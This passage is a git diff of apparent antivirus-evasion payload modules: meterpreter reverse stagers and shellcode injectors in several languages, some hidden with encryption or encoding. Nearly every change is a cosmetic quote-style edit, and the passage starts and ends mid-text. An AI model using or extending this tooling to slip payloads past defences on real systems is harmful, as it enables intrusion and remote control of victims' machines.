"\r\n\r\n" + execStr + "\r\n\r\n" + shell + "\r\n\r\n" + bottom + "\r\n" # Return @@ -85,8 +85,8 @@ def generate(self): def formStr(self, varstr, instr): holder = [] - str1 = '' - str2 = '' + str1 = "" + str2 = "" print(self.required_options['ARCHITECTURE']) if varstr == "exec" and self.required_options['ARCHITECTURE'][0] == "x64": str1 = varstr + ' = "C:\\Windows\\syswow64\\windowspowershell\\v1.0\\' + instr[:54] + '"' diff --git a/tools/evasion/payloads/auxiliary/pyinstaller_wrapper.py b/tools/evasion/payloads/auxiliary/pyinstaller_wrapper.py index ba4fe53..411389a 100644 --- a/tools/evasion/payloads/auxiliary/pyinstaller_wrapper.py +++ b/tools/evasion/payloads/auxiliary/pyinstaller_wrapper.py @@ -21,7 +21,7 @@ def __init__(self, cli_obj): self.name = "PyInstaller Wrapper" self.path = "auxuliary/pyinstaller_wrapper" self.cli_opts = cli_obj - self.payload_source_code = '' + self.payload_source_code = "" self.required_options = { "PYTHON_SOURCE" : ["", "A Python source file to compile with pyinstaller"], # /path/to/any/python/file.py diff --git a/tools/evasion/payloads/c/meterpreter/rev_http.py b/tools/evasion/payloads/c/meterpreter/rev_http.py index d1823fd..25ecd17 100644 --- a/tools/evasion/payloads/c/meterpreter/rev_http.py +++ b/tools/evasion/payloads/c/meterpreter/rev_http.py @@ -27,13 +27,13 @@ def __init__(self, cli_obj): self.name = "Pure C Reverse HTTP Stager" self.path = "c/meterpreter/rev_http" self.cli_opts = cli_obj - self.payload_source_code = '' + self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: - self.payload_type = '' + self.payload_type = "" self.cli_shellcode = False # optional diff --git a/tools/evasion/payloads/c/meterpreter/rev_http_service.py b/tools/evasion/payloads/c/meterpreter/rev_http_service.py index a5f11ef..5baf43c 100644 --- a/tools/evasion/payloads/c/meterpreter/rev_http_service.py +++ b/tools/evasion/payloads/c/meterpreter/rev_http_service.py @@ -29,13 +29,13 @@ def __init__(self, cli_obj): self.name = "Pure C Reverse HTTP Service" self.path = "c/meterpreter/rev_http_service" self.cli_opts = cli_obj - self.payload_source_code = '' + self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: - self.payload_type = '' + self.payload_type = "" self.cli_shellcode = False # optional diff --git a/tools/evasion/payloads/c/meterpreter/rev_tcp.py b/tools/evasion/payloads/c/meterpreter/rev_tcp.py index d766fff..a1ce4ab 100644 --- a/tools/evasion/payloads/c/meterpreter/rev_tcp.py +++ b/tools/evasion/payloads/c/meterpreter/rev_tcp.py @@ -25,13 +25,13 @@ def __init__(self, cli_obj): self.name = "Pure C Reverse TCP Stager" self.path = "c/meterpreter/rev_tcp" self.cli_opts = cli_obj - self.payload_source_code = '' + self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: - self.payload_type = '' + self.payload_type = "" self.cli_shellcode = False # optional diff --git a/tools/evasion/payloads/c/meterpreter/rev_tcp_service.py b/tools/evasion/payloads/c/meterpreter/rev_tcp_service.py index a98e2d0..22cf845 100644 --- a/tools/evasion/payloads/c/meterpreter/rev_tcp_service.py +++ b/tools/evasion/payloads/c/meterpreter/rev_tcp_service.py @@ -27,13 +27,13 @@ def __init__(self, cli_obj): self.name = "C Reverse TCP Service" self.path = "c/meterpreter/rev_tcp_service" self.cli_opts = cli_obj - self.payload_source_code = '' + self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: - self.payload_type = '' + self.payload_type = "" self.cli_shellcode = False # optional diff --git a/tools/evasion/payloads/cs/meterpreter/rev_http.py b/tools/evasion/payloads/cs/meterpreter/rev_http.py index 31ed826..f53bf58 100644 --- a/tools/evasion/payloads/cs/meterpreter/rev_http.py +++ b/tools/evasion/payloads/cs/meterpreter/rev_http.py @@ -23,13 +23,13 @@ def __init__(self, cli_obj): self.name = "Pure C# Reverse HTTP Stager" self.path = "cs/meterpreter/rev_http" self.cli_opts = cli_obj - self.payload_source_code = '' + self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: - self.payload_type = '' + self.payload_type = "" self.cli_shellcode = False # options we require user interaction for- format is {Option : [Value, Description]]} diff --git a/tools/evasion/payloads/cs/meterpreter/rev_https.py b/tools/evasion/payloads/cs/meterpreter/rev_https.py index 0fba43b..e05040c 100644 --- a/tools/evasion/payloads/cs/meterpreter/rev_https.py +++ b/tools/evasion/payloads/cs/meterpreter/rev_https.py @@ -23,13 +23,13 @@ def __init__(self, cli_obj): self.name = "Pure C# Reverse HTTPS Stager" self.path = "cs/meterpreter/rev_https" self.cli_opts = cli_obj - self.payload_source_code = '' + self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: - self.payload_type = '' + self.payload_type = "" self.cli_shellcode = False # options we require user interaction for- format is {Option : [Value, Description]]} diff --git a/tools/evasion/payloads/cs/meterpreter/rev_tcp.py b/tools/evasion/payloads/cs/meterpreter/rev_tcp.py index ca6302a..8901144 100644 --- a/tools/evasion/payloads/cs/meterpreter/rev_tcp.py +++ b/tools/evasion/payloads/cs/meterpreter/rev_tcp.py @@ -22,13 +22,13 @@ def __init__(self, cli_obj): self.name = "Pure C# Reverse TCP Stager" self.path = "cs/meterpreter/rev_tcp" self.cli_opts = cli_obj - self.payload_source_code = '' + self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: - self.payload_type = '' + self.payload_type = "" self.cli_shellcode = False # options we require user interaction for- format is {Option : [Value, Description]]} diff --git a/tools/evasion/payloads/cs/shellcode_inject/base64.py b/tools/evasion/payloads/cs/shellcode_inject/base64.py index 96cdf8e..f56e67e 100644 --- a/tools/evasion/payloads/cs/shellcode_inject/base64.py +++ b/tools/evasion/payloads/cs/shellcode_inject/base64.py @@ -28,13 +28,13 @@ def __init__(self, cli_obj): self.path = "cs/shellcode_inject/base64" self.shellcode = shellcode_help.Shellcode(cli_obj) self.cli_opts = cli_obj - self.payload_source_code = '' + self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: - self.payload_type = '' + self.payload_type = "" self.cli_shellcode = False # options we require user ineraction for- format is {OPTION : [Value, Description]]} @@ -61,7 +61,7 @@ def generate(self): self.payload_type = self.shellcode.msfvenompayload elif self.shellcode.payload_choice: self.payload_type = self.shellcode.payload_choice - self.shellcode.payload_choice = '' + self.shellcode.payload_choice = "" # assume custom shellcode else: self.payload_type = 'custom' diff --git a/tools/evasion/payloads/cs/shellcode_inject/virtual.py b/tools/evasion/payloads/cs/shellcode_inject/virtual.py index bf17545..d6a9672 100644 --- a/tools/evasion/payloads/cs/shellcode_inject/virtual.py +++ b/tools/evasion/payloads/cs/shellcode_inject/virtual.py @@ -27,13 +27,13 @@ def __init__(self, cli_obj): self.path = "cs/shellcode_inject/virtual" self.shellcode = shellcode_help.Shellcode(cli_obj) self.cli_opts = cli_obj - self.payload_source_code = '' + self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: - self.payload_type = '' + self.payload_type = "" self.cli_shellcode = False # options we require user ineraction for- format is {OPTION : [Value, Description]]} @@ -60,7 +60,7 @@ def generate(self): self.payload_type = self.shellcode.msfvenompayload elif self.shellcode.payload_choice: self.payload_type = self.shellcode.payload_choice - self.shellcode.payload_choice = '' + self.shellcode.payload_choice = "" # assume custom shellcode else: self.payload_type = 'custom' diff --git a/tools/evasion/payloads/go/meterpreter/rev_http.py b/tools/evasion/payloads/go/meterpreter/rev_http.py index a26ddce..e8b6f92 100644 --- a/tools/evasion/payloads/go/meterpreter/rev_http.py +++ b/tools/evasion/payloads/go/meterpreter/rev_http.py @@ -20,13 +20,13 @@ def __init__(self, cli_obj): self.name = "Pure Golang Reverse HTTP Stager" self.path = "go/meterpreter/rev_http" self.cli_opts = cli_obj - self.payload_source_code = '' + self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: - self.payload_type = '' + self.payload_type = "" self.cli_shellcode = False # options we require user ineraction for- format is {Option : [Value, Description]]} diff --git a/tools/evasion/payloads/go/meterpreter/rev_https.py b/tools/evasion/payloads/go/meterpreter/rev_https.py index 6477b37..8d041ba 100644 --- a/tools/evasion/payloads/go/meterpreter/rev_https.py +++ b/tools/evasion/payloads/go/meterpreter/rev_https.py @@ -21,13 +21,13 @@ def __init__(self, cli_obj): self.name = "Pure Golang Reverse HTTPS Stager" self.path = "go/meterpreter/rev_https" self.cli_opts = cli_obj - self.payload_source_code = '' + self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: - self.payload_type = '' + self.payload_type = "" self.cli_shellcode = False # options we require user ineraction for- format is {Option : [Value, Description]]} diff --git a/tools/evasion/payloads/go/meterpreter/rev_tcp.py b/tools/evasion/payloads/go/meterpreter/rev_tcp.py index afb5bc2..1257243 100644 --- a/tools/evasion/payloads/go/meterpreter/rev_tcp.py +++ b/tools/evasion/payloads/go/meterpreter/rev_tcp.py @@ -20,13 +20,13 @@ def __init__(self, cli_obj): self.name = "Pure Golang Reverse TCP Stager" self.path = "go/meterpreter/rev_tcp" self.cli_opts = cli_obj - self.payload_source_code = '' + self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: - self.payload_type = '' + self.payload_type = "" self.cli_shellcode = False # options we require user ineraction for- format is {Option : [Value, Description]]} diff --git a/tools/evasion/payloads/go/shellcode_inject/virtual.py b/tools/evasion/payloads/go/shellcode_inject/virtual.py index 12d4be1..848cdd5 100644 --- a/tools/evasion/payloads/go/shellcode_inject/virtual.py +++ b/tools/evasion/payloads/go/shellcode_inject/virtual.py @@ -23,13 +23,13 @@ def __init__(self, cli_obj): self.path = "go/shellcode_inject/virtual" self.cli_opts = cli_obj self.shellcode = shellcode_help.Shellcode(cli_obj) - self.payload_source_code = '' + self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: - self.payload_type = '' + self.payload_type = "" self.cli_shellcode = False # options we require user interaction for- format is {OPTION : [Value, Description]]} @@ -83,7 +83,7 @@ def generate(self): self.payload_type = self.shellcode.msfvenompayload elif self.shellcode.payload_choice: self.payload_type = self.shellcode.payload_choice - self.shellcode.payload_choice = '' + self.shellcode.payload_choice = "" # assume custom shellcode else: self.payload_type = 'custom' diff --git a/tools/evasion/payloads/lua/shellcode_inject/flat.py b/tools/evasion/payloads/lua/shellcode_inject/flat.py index f99138d..f64114a 100644 --- a/tools/evasion/payloads/lua/shellcode_inject/flat.py +++ b/tools/evasion/payloads/lua/shellcode_inject/flat.py @@ -23,13 +23,13 @@ def __init__(self, cli_obj): self.path = "lua/shellcode_inject/flat" self.cli_opts = cli_obj self.shellcode = shellcode_help.Shellcode(cli_obj) - self.payload_source_code = '' + self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: - self.payload_type = '' + self.payload_type = "" self.cli_shellcode = False def generate(self): @@ -41,7 +41,7 @@ def generate(self): self.payload_type = self.shellcode.msfvenompayload elif self.shellcode.payload_choice: self.payload_type = self.shellcode.payload_choice - self.shellcode.payload_choice = '' + self.shellcode.payload_choice = "" # assume custom shellcode else: self.payload_type = 'custom' @@ -54,7 +54,7 @@ def generate(self): # get the shellcode into the stupid-ass lua because # stupid-ass lua doesn't do string hex escapes - shellcode = "".join(["\\" + str(ord(c)).zfill(3) for c in raw]) + shellcode = ''.join(["\\" + str(ord(c)).zfill(3) for c in raw]) payload_code = """shellcode="%s" core = require "alien.core" diff --git a/tools/evasion/payloads/perl/shellcode_inject/flat.py b/tools/evasion/payloads/perl/shellcode_inject/flat.py index 0b85d20..a2c81b1 100644 --- a/tools/evasion/payloads/perl/shellcode_inject/flat.py +++ b/tools/evasion/payloads/perl/shellcode_inject/flat.py @@ -23,13 +23,13 @@ def __init__(self, cli_obj): self.path = "perl/shellcode_inject/flat" self.cli_opts = cli_obj self.shellcode = shellcode_help.Shellcode(cli_obj) - self.payload_source_code = '' + self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: - self.payload_type = '' + self.payload_type = "" self.cli_shellcode = False # optional @@ -64,7 +64,7 @@ def generate(self): self.payload_type = self.shellcode.msfvenompayload elif self.shellcode.payload_choice: self.payload_type = self.shellcode.payload_choice - self.shellcode.payload_choice = '' + self.shellcode.payload_choice = "" # assume custom shellcode else: self.payload_type = 'custom' diff --git a/tools/evasion/payloads/powershell/meterpreter/rev_http.py b/tools/evasion/payloads/powershell/meterpreter/rev_http.py index ba80823..5e8b6f7 100644 --- a/tools/evasion/payloads/powershell/meterpreter/rev_http.py +++ b/tools/evasion/payloads/powershell/meterpreter/rev_http.py @@ -20,13 +20,13 @@ def __init__(self, cli_obj): self.name = "Pure PowerShell Reverse HTTP Stager" self.path = "powershell/meterpreter/rev_http" self.cli_opts = cli_obj - self.payload_source_code = '' + self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: - self.payload_type = '' + self.payload_type = "" self.cli_shellcode = False # optional diff --git a/tools/evasion/payloads/powershell/meterpreter/rev_https.py b/tools/evasion/payloads/powershell/meterpreter/rev_https.py index fd5d8bb..310c74c 100644 --- a/tools/evasion/payloads/powershell/meterpreter/rev_https.py +++ b/tools/evasion/payloads/powershell/meterpreter/rev_https.py @@ -19,13 +19,13 @@ def __init__(self, cli_obj): self.name = "Pure PowerShell Reverse HTTPS Stager" self.path = "powershell/meterpreter/rev_https" self.cli_opts = cli_obj - self.payload_source_code = '' + self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: - self.payload_type = '' + self.payload_type = "" self.cli_shellcode = False # optional diff --git a/tools/evasion/payloads/powershell/meterpreter/rev_tcp.py b/tools/evasion/payloads/powershell/meterpreter/rev_tcp.py index 22b5310..b3794b0 100644 --- a/tools/evasion/payloads/powershell/meterpreter/rev_tcp.py +++ b/tools/evasion/payloads/powershell/meterpreter/rev_tcp.py @@ -19,13 +19,13 @@ def __init__(self, cli_obj): self.name = "Pure PowerShell Reverse TCP Stager" self.path = "powershell/meterpreter/rev_tcp" self.cli_opts = cli_obj - self.payload_source_code = '' + self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: - self.payload_type = '' + self.payload_type = "" self.cli_shellcode = False # optional diff --git a/tools/evasion/payloads/powershell/shellcode_inject/psexec_virtual.py b/tools/evasion/payloads/powershell/shellcode_inject/psexec_virtual.py index 4a9d9d8..bf64f1d 100644 --- a/tools/evasion/payloads/powershell/shellcode_inject/psexec_virtual.py +++ b/tools/evasion/payloads/powershell/shellcode_inject/psexec_virtual.py @@ -29,13 +29,13 @@ def __init__(self, cli_obj): self.path = "powershell/shellcode_inject/psexec_virtual" self.cli_opts = cli_obj self.shellcode = shellcode_help.Shellcode(cli_obj) - self.payload_source_code = '' + self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: - self.payload_type = '' + self.payload_type = "" self.cli_shellcode = False # options we require user ineraction for- format is {Option : [Value, Description]]} @@ -65,7 +65,7 @@ def psRaw(self): self.payload_type = self.shellcode.msfvenompayload elif self.shellcode.payload_choice: self.payload_type = self.shellcode.payload_choice - self.shellcode.payload_choice = '' + self.shellcode.payload_choice = "" # assume custom shellcode else: self.payload_type = 'custom' diff --git a/tools/evasion/payloads/powershell/shellcode_inject/virtual.py b/tools/evasion/payloads/powershell/shellcode_inject/virtual.py index 7f83b8a..6398775 100644 --- a/tools/evasion/payloads/powershell/shellcode_inject/virtual.py +++ b/tools/evasion/payloads/powershell/shellcode_inject/virtual.py @@ -28,13 +28,13 @@ def __init__(self, cli_obj): self.path = "powershell/shellcode_inject/virtual" self.cli_opts = cli_obj self.shellcode = shellcode_help.Shellcode(cli_obj) - self.payload_source_code = '' + self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: - self.payload_type = '' + self.payload_type = "" self.cli_shellcode = False # options we require user ineraction for- format is {Option : [Value, Description]]} @@ -65,7 +65,7 @@ def psRaw(self): self.payload_type = self.shellcode.msfvenompayload elif self.shellcode.payload_choice: self.payload_type = self.shellcode.payload_choice - self.shellcode.payload_choice = '' + self.shellcode.payload_choice = "" # assume custom shellcode else: self.payload_type = 'custom' diff --git a/tools/evasion/payloads/python/meterpreter/bind_tcp.py b/tools/evasion/payloads/python/meterpreter/bind_tcp.py index 1e466e3..56caba3 100644 --- a/tools/evasion/payloads/python/meterpreter/bind_tcp.py +++ b/tools/evasion/payloads/python/meterpreter/bind_tcp.py @@ -17,7 +17,7 @@ def __init__(self, cli_obj): self.name = "Pure Python Reverse TCP stager" self.path = "python/meterpreter/bind_tcp" self.cli_opts = cli_obj - self.payload_source_code = '' + self.payload_source_code = "" self.language = "python" self.extension = "py" if cli_obj.ordnance_payload is not None: @@ -25,7 +25,7 @@ def __init__(self, cli_obj): elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: - self.payload_type = '' + self.payload_type = "" # optional # options we require user interaction for- format is {OPTION : [Value, Description]]} diff --git a/tools/evasion/payloads/python/meterpreter/rev_http.py b/tools/evasion/payloads/python/meterpreter/rev_http.py index a830ce5..0490bd4 100644 --- a/tools/evasion/payloads/python/meterpreter/rev_http.py +++ b/tools/evasion/payloads/python/meterpreter/rev_http.py @@ -23,13 +23,13 @@ def __init__(self, cli_obj): self.name = "Pure Python Reverse HTTP Stager" self.path = "python/meterpreter/rev_http" self.cli_opts = cli_obj - self.payload_source_code = '' + self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: - self.payload_type = '' + self.payload_type = "" # options we require user interaction for- format is {OPTION : [Value, Description]]} self.required_options = { diff --git a/tools/evasion/payloads/python/meterpreter/rev_https.py b/tools/evasion/payloads/python/meterpreter/rev_https.py index 1a2f0c4..b1b8e44 100644 --- a/tools/evasion/payloads/python/meterpreter/rev_https.py +++ b/tools/evasion/payloads/python/meterpreter/rev_https.py @@ -22,13 +22,13 @@ def __init__(self, cli_obj): self.name = "Pure Python Reverse HTTPS stager" self.path = "python/meterpreter/rev_https" self.cli_opts = cli_obj - self.payload_source_code = '' + self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: - self.payload_type = '' + self.payload_type = "" # options we require user interaction for- format is {OPTION : [Value, Description]]} self.required_options = { diff --git a/tools/evasion/payloads/python/meterpreter/rev_tcp.py b/tools/evasion/payloads/python/meterpreter/rev_tcp.py index 6a8af49..d885f20 100644 --- a/tools/evasion/payloads/python/meterpreter/rev_tcp.py +++ b/tools/evasion/payloads/python/meterpreter/rev_tcp.py @@ -22,13 +22,13 @@ def __init__(self, cli_obj): self.name = "Pure Python Reverse TCP Stager" self.path = "python/meterpreter/rev_tcp" self.cli_opts = cli_obj - self.payload_source_code = '' + self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: - self.payload_type = '' + self.payload_type = "" # options we require user interaction for- format is {OPTION : [Value, Description]]} self.required_options = { diff --git a/tools/evasion/payloads/python/shellcode_inject/aes_encrypt.py b/tools/evasion/payloads/python/shellcode_inject/aes_encrypt.py index b2787be..ae4b112 100644 --- a/tools/evasion/payloads/python/shellcode_inject/aes_encrypt.py +++ b/tools/evasion/payloads/python/shellcode_inject/aes_encrypt.py @@ -25,13 +25,13 @@ def __init__(self, cli_obj): self.path = "python/shellcode_inject/aes_encrypt" self.shellcode = shellcode_help.Shellcode(cli_obj) self.cli_opts = cli_obj - self.payload_source_code = '' + self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: - self.payload_type = '' + self.payload_type = "" self.cli_shellcode = False # options we require user interaction for- format is {OPTION : [Value, Description]]} @@ -74,7 +74,7 @@ def generate(self): self.payload_type = self.shellcode.msfvenompayload elif self.shellcode.payload_choice: self.payload_type = self.shellcode.payload_choice - self.shellcode.payload_choice = '' + self.shellcode.payload_choice = "" # assume custom shellcode else: self.payload_type = 'custom' diff --git a/tools/evasion/payloads/python/shellcode_inject/arc_encrypt.py b/tools/evasion/payloads/python/shellcode_inject/arc_encrypt.py index b23e38a..c32707b 100644 --- a/tools/evasion/payloads/python/shellcode_inject/arc_encrypt.py +++ b/tools/evasion/payloads/python/shellcode_inject/arc_encrypt.py @@ -28,13 +28,13 @@ def __init__(self, cli_obj): self.path = "python/shellcode_inject/arc_encrypt" self.shellcode = shellcode_help.Shellcode(cli_obj) self.cli_opts = cli_obj - self.payload_source_code = '' + self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: - self.payload_type = '' + self.payload_type = "" self.cli_shellcode = False # options we require user interaction for- format is {OPTION : [Value, Description]]} @@ -78,7 +78,7 @@ def generate(self): self.payload_type = self.shellcode.msfvenompayload elif self.shellcode.payload_choice: self.payload_type = self.shellcode.payload_choice - self.shellcode.payload_choice = '' + self.shellcode.payload_choice = "" # assume custom shellcode else: self.payload_type = 'custom' diff --git a/tools/evasion/payloads/python/shellcode_inject/base64_substitution.py b/tools/evasion/payloads/python/shellcode_inject/base64_substitution.py index 4d94822..ca26802 100644 --- a/tools/evasion/payloads/python/shellcode_inject/base64_substitution.py +++ b/tools/evasion/payloads/python/shellcode_inject/base64_substitution.py @@ -28,13 +28,13 @@ def __init__(self, cli_obj): self.path = "python/shellcode_inject/base64_substitution" self.shellcode = shellcode_help.Shellcode(cli_obj) self.cli_opts = cli_obj - self.payload_source_code = '' + self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: - self.payload_type = '' + self.payload_type = "" self.cli_shellcode = False # options we require user interaction for- format is {OPTION : [Value, Description]]} @@ -68,7 +68,7 @@ def generate(self): self.payload_type = self.shellcode.msfvenompayload elif self.shellcode.payload_choice: self.payload_type = self.shellcode.payload_choice - self.shellcode.payload_choice = '' + self.shellcode.payload_choice = "" # assume custom shellcode else: self.payload_type = 'custom' @@ -87,7 +87,7 @@ def generate(self): rand_virtual_protect = evasion_helpers.randomString() num_tabs_required = 0 - payload_code = '' + payload_code = "" payload_code, num_tabs_required = gamemaker.senecas_games(self) diff --git a/tools/evasion/payloads/python/shellcode_inject/des_encrypt.py b/tools/evasion/payloads/python/shellcode_inject/des_encrypt.py index 86946d6..cc17b94 100644 --- a/tools/evasion/payloads/python/shellcode_inject/des_encrypt.py +++ b/tools/evasion/payloads/python/shellcode_inject/des_encrypt.py @@ -28,13 +28,13 @@ def __init__(self, cli_obj): self.path = "python/shellcode_inject/des_encrypt" self.shellcode = shellcode_help.Shellcode(cli_obj) self.cli_opts = cli_obj - self.payload_source_code = '' + self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: - self.payload_type = '' + self.payload_type = "" self.cli_shellcode = False # options we require user interaction for- format is {OPTION : [Value, Description]]} @@ -77,7 +77,7 @@ def generate(self): self.payload_type = self.shellcode.msfvenompayload elif self.shellcode.payload_choice: self.payload_type = self.shellcode.payload_choice - self.shellcode.payload_choice = '' + self.shellcode.payload_choice = "" # assume custom shellcode else: self.payload_type = 'custom' diff --git a/tools/evasion/payloads/python/shellcode_inject/flat.py b/tools/evasion/payloads/python/shellcode_inject/flat.py index a63f53f..e9be4f1 100644 --- a/tools/evasion/payloads/python/shellcode_inject/flat.py +++ b/tools/evasion/payloads/python/shellcode_inject/flat.py @@ -34,13 +34,13 @@ def __init__(self, cli_obj): self.path = "python/shellcode_inject/flat" self.shellcode = shellcode_help.Shellcode(cli_obj) self.cli_opts = cli_obj - self.payload_source_code = '' + self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: - self.payload_type = '' + self.payload_type = "" self.cli_shellcode = False # options we require user interaction for- format is {OPTION : [Value, Description]]} @@ -81,7 +81,7 @@ def generate(self): self.payload_type = self.shellcode.msfvenompayload elif self.shellcode.payload_choice: self.payload_type = self.shellcode.payload_choice - self.shellcode.payload_choice = '' + self.shellcode.payload_choice = "" # assume custom shellcode else: self.payload_type = 'custom' diff --git a/tools/evasion/payloads/python/shellcode_inject/letter_substitution.py b/tools/evasion/payloads/python/shellcode_inject/letter_substitution.py index 6396967..8a30402 100644 --- a/tools/evasion/payloads/python/shellcode_inject/letter_substitution.py +++ b/tools/evasion/payloads/python/shellcode_inject/letter_substitution.py @@ -34,13 +34,13 @@ def __init__(self, cli_obj): self.path = "python/shellcode_inject/letter_substitution" self.shellcode = shellcode_help.Shellcode(cli_obj) self.cli_opts = cli_obj - self.payload_source_code = '' + self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: - self.payload_type = '' + self.payload_type = "" self.cli_shellcode = False # options we require user interaction for- format is {OPTION : [Value, Description]]} @@ -88,7 +88,7 @@ def generate(self): self.payload_type = self.shellcode.msfvenompayload elif self.shellcode.payload_choice: self.payload_type = self.shellcode.payload_choice - self.shellcode.payload_choice = '' + self.shellcode.payload_choice = "" # assume custom shellcode else: self.payload_type = 'custom' diff --git a/tools/evasion/payloads/python/shellcode_inject/pidinject.py b/tools/evasion/payloads/python/shellcode_inject/pidinject.py index ebcfdb0..4282306 100644 --- a/tools/evasion/payloads/python/shellcode_inject/pidinject.py +++ b/tools/evasion/payloads/python/shellcode_inject/pidinject.py @@ -30,13 +30,13 @@ def __init__(self, cli_obj): self.path = "python/shellcode_inject/pidinject" self.shellcode = shellcode_help.Shellcode(cli_obj) self.cli_opts = cli_obj - self.payload_source_code = '' + self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: - self.payload_type = '' + self.payload_type = "" self.cli_shellcode = False # options we require user interaction for- format is {OPTION : [Value, Description]]} @@ -73,7 +73,7 @@ def generate(self): self.payload_type = self.shellcode.msfvenompayload elif self.shellcode.payload_choice: self.payload_type = self.shellcode.payload_choice - self.shellcode.payload_choice = '' + self.shellcode.payload_choice = "" # assume custom shellcode else: self.payload_type = 'custom' diff --git a/tools/evasion/payloads/python/shellcode_inject/stallion.py b/tools/evasion/payloads/python/shellcode_inject/stallion.py index dc00f54..26ca84f 100644 --- a/tools/evasion/payloads/python/shellcode_inject/stallion.py +++ b/tools/evasion/payloads/python/shellcode_inject/stallion.py @@ -32,13 +32,13 @@ def __init__(self, cli_obj): self.path = "python/shellcode_inject/stallion" self.cli_opts = cli_obj self.shellcode = shellcode_help.Shellcode(cli_obj) - self.payload_source_code = '' + self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not 